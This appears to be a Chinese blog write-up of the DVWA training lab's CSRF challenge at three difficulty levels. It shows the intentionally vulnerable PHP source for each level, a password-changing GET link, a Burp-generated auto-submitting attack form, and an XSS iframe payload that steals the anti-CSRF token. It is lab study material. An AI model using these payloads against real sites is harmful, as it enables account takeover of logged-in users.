DVWA-CSRF漏洞【全难度】

GPT-oss:20b

GPT-oss:20b

图文对话
Gpt-oss

GPT OSS 是OpenAI 推出的重量级开放模型,面向强推理、智能体任务以及多样化开发场景

CSRF漏洞全称是Cross-site Request Forgery,跨站请求伪造。

这个漏洞主要的思路是利用了本来就登录在目标网站A的用户,当这些用户点击了相应的伪造网站B后,这些网站中的陷阱就会使用户访问网站A(在用户不知道的情况下),这样就可以借助用户之手,做到列入修改密码之类的操作。

Low级别

在这里插入图片描述

我们可以看看源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

我们可以看到,这份源码没有什么防御机制,没有Token值。同时我们可以看出,这个密码值是直接用GET请求进行提交的。
所以我们可以直接构造链接(因为我这边是直接使用的Docker进行DVWA的搭建,本地端口对其进行了映射,所以这里是8082,自己搭建的用自己的URL就好了):

http://localhost:8082/vulnerabilities/csrf/index.php?password_new=admin123&password_conf=admin123&Change=Change#

直接执行链接后,就会跳转到修改密码页面,并且显示密码修改成功。
在这里插入图片描述

利用漏洞

我们要利用这个漏洞,首先需要找一个受害者。
使用BurpSuite可以快速构造攻击页面:
在这里插入图片描述
在这里插入图片描述
这里我们获取并且构造我们想要的页面,当受害者访问了我们的页面并且点击了按钮,就会被修改密码

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8082/vulnerabilities/csrf/index.php">
      <input type="hidden" name="password&#95;new" value="hack123" />
      <input type="hidden" name="password&#95;conf" value="hack123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

注意,受害者必须要使用他登录过这个网站(我们以DVWA为例)的浏览器,因为受害者的登录信息是会被存储到这个浏览器中的,如果使用别的浏览器,只会跳转到dvwa的开始登录界面。

Medium级别

我们再看看源码

 <?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])!=-1 ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从第一行的if判断

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])!=-1 )

我们可以看出这个级别的难度是为了让我们关注$_SERVER[ 'HTTP_REFERER' ],也就是我们访问时候的http头部中的Referer字段问题。
直接修改头部就行(不过我这边直接不用修改也可以完成修改密码,我也不清楚为什么)
在这里插入图片描述
不懂Referer请求头的可以去网上搜搜,或者问问GPT。

High级别

看看源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

从这里

   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

可以知道他开始检测Token值了。我们可以直接Token绕过。

使用BurpSuite进行Token绕过

BurpSuite中有一个插件,叫做CSRF Token Tracker
在这里插入图片描述
安装后进行使用

利用XSS漏洞配合

不过我研究了一个下午,我发现我的BurpSuite中这个插件总是没有反应,我也不知道为什么,可能是某些地方总是会有Bug吧,所以我使用了另一个方法,那就是和Xss联动。(如果有人用这个插件弄出来的可以给我讲讲是怎么办到的)

因为我们知道,当你每一次访问CSRF的修改密码的界面的时候,都会导致你的浏览器获得了一个新的user_token,所以如果此时,受害者没有继续更新加载这个页面,那么Token值就会作为一个变量存在浏览器中。所以我们使用XSS攻击就可以直接获取到它的值。

PayLoad如下:

<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

这个Payload首先跳转到了csrf页面,onload在页面加载时就开始执行,获取了frames[0],也就是我们的iframe中的自己的token

在这里插入图片描述

此时,如果不出意外的话,此时间段整个浏览器的token就只有我们获得的这一个。

然后我们利用这个Token进行和上文一样的方式,就可以修改掉密码了
在这里插入图片描述

您可能感兴趣的与本文相关的镜像

GPT-oss:20b

GPT-oss:20b

图文对话
Gpt-oss

GPT OSS 是OpenAI 推出的重量级开放模型,面向强推理、智能体任务以及多样化开发场景

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值